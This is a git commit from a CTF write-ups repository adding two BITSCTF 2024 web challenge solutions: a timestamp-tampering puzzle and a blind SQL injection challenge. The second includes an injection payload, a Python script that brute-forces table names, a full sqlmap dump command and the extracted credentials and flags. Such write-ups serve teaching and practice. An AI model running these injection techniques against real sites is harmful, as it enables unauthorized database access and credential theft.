vee1e/Write-ups
1
0
Fork 0
mirror of https://github.com/vee1e/Write-ups.git synced 2026-09-01 19:17:10 +00:00
Code Issues Projects Releases Packages Wiki Activity Actions

Add BITSCTF 2024 Web

Browse source
This commit is contained in:
sibi361 2024-02-19 23:32:59 +05:30
parent 1fb0e99b86
commit 077500faa5
No known key found for this signature in database
GPG key ID: 03C1DEC095FA2598
5 changed files with 169 additions and 0 deletions
Download patch file Download diff file Expand all files Collapse all files

64
BITSCTF-2024/web/Conquest/README.md Normal file
View file

@ -0,0 +1,64 @@
# Conquest
Category: Web
Solves: 62
### Given information
> Our Mogambro is a lucid dreamer who has meticulously replicated one of his sessions in the form of the given website. Can you also complete the quest which Mogambro failed to do?
> http://20.244.82.82:2913/
### Solution
The website presents a puzzle:
> Welcome Adventurer. You are about to take up on an impossible challenge.
> But first you gotta find the path that takes you to the arena
`/robots.txt` returns:
```
User-Agent: *
Disallow: /tournament
```
Upon visiting `/tournament` we are presented with a leaderboard for what looks like a dragon slaying tournament, and another puzzle:
![Dragon slayers leaderboard](./images/leaderboard.png)
---
Eventually we reach `/tournament/humans.txt`. This page presents an HTML form with two form inputs which return "Too Slow. Try Again!" upon submit:
- Hidden text field with the value set to `1582510775.828625`
- Submit button
```
<html lang="en">
<head>
[...]
</head>
<body>
<h1>BEWARE! SLAY THE DRAGON IF YOU DARE!</h1>
<form action="/legend" method="post">
<input type="hidden" value="1582510775.828625" name="slay">
<input type="submit" value="Fight the Beast!">
</form>
</body>
</html>
```
---
`1582510775.828625` is actually an [UNIX timestamp](https://en.wikipedia.org/wiki/Unix_time#Definition) that refers to `Mon Feb 24 07:49:35 AM IST 2020`, almost four years in the past.
After providing various inputs to the `slay` form input such as:
- negative numbers
- timestamps with micro (and milli) second offsets to `1582510775.828625`
We are able to obtain the flag on sending an absurdly large number: `1e308`.
Flag: `BITSCTF{7HE_r341_7r345Ur3_W45_7H3_Fr13ND5_W3_M4D3_410N6_7H3_W4Y}`

BIN
BITSCTF-2024/web/Conquest/images/leaderboard.png Normal file
View file

Binary file not shown.
Side by side

After

Width:  |  Height:  |  Size: 320 KiB

0
BITSCTF-2024/web/README.md Normal file
View file

105
BITSCTF-2024/web/Too_Blind_To_See/README.md Normal file
View file

@ -0,0 +1,105 @@
# Too Blind To See
Category: Web
Solves: 17
### Given information
> Mogambro, our rookie intern, just stepped foot into the prestigious Software Firm. His big moment, the first project review, is knocking at the door like a pesky neighbor. But wait! Somewhere in his app lurks a secret which the admins are not aware of, hidden behind the password 'fluffybutterfly'. Can you crack the code and rescue Mogambro from this password puzzle? The clock is ticking!
> http://20.244.82.82:7000/
### Solution
The given link leads to a boilerplate shopping site which has three forms:
- /login
- Form 1: User sign in
- API endpoint: `/welcome-homie`
- Form 2: Admin login
- API endpoint: `/yesyoudidit`
- Newsletter form at `/`
- API endpoint: `/final-destination`
`/yesyoudidit` is found to be vulnerable to SQL injection using the payload:
```
' or 1=1;-- -
```
But all we get from it is a fake flag:
![Fake flag](./images/fake_flag.png)
---
The final endpoint `/final-destination` seems to be following the challenge name's footsteps as it's found to be vulnerable to Blind SQL injection. Inputting `' or 1=1;-- -` returns a JSON response containing the message "Email exists in the database" whereas any other normal input returns "Email does not exist in the database".
Using the following script we are able to extract the following table names: `maillist` and `userdata`.
```
import requests
import json
import string
charset = string.ascii_lowercase
print(charset)
table_name = ""
url = "http://20.244.82.82:7000/final-destination"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
}
while True:
for c in charset:
payload = "email='%20union%20select%20null%2Cnull%20from%20sqlite_schema%20where%20name%20like%20'{}%25'--".format(
table_name + c
)
response = requests.request("POST", url, headers=headers, data=payload)
r = json.loads(response.text)
if r["exists"]:
print("\n", r)
table_name += c
print("Table name:", table_name)
break
else:
# print(c, r["exists"], end=" ")
print(".", end="", flush=True)
```
We utilise sqlmap to further extract the database contents:
```
sqlmap --level 5 --risk 3 -o -r burp_request.txt -p email --thread 10 --all
```
```
Database: <current>
Table: maillist
[1 entry]
+-----------------------------+-----------------+
| email | password |
+-----------------------------+-----------------+
| krazykorgaonkar@hotmail.com | fluffybutterfly |
+-----------------------------+-----------------+
Database: <current>
Table: userdata
[1 entry]
+----+------------------+-----------+
| id | password | username |
+----+------------------+-----------+
| 2 | bxgcrVNmtUehpvgH | knowitall |
+----+------------------+-----------+
```
We are then able to obtain the flag after logging in with the first set of credentials: `krazykorgaonkar@hotmail.com:fluffybutterfly`.
Flag: `BITSCTF{5UB5Cr183r5_4r3_M0r3_7HAN_JU5T_C0N5UM3r5}`

BIN
BITSCTF-2024/web/Too_Blind_To_See/images/fake_flag.png Normal file
View file

Binary file not shown.
Side by side

After

Width:  |  Height:  |  Size: 29 KiB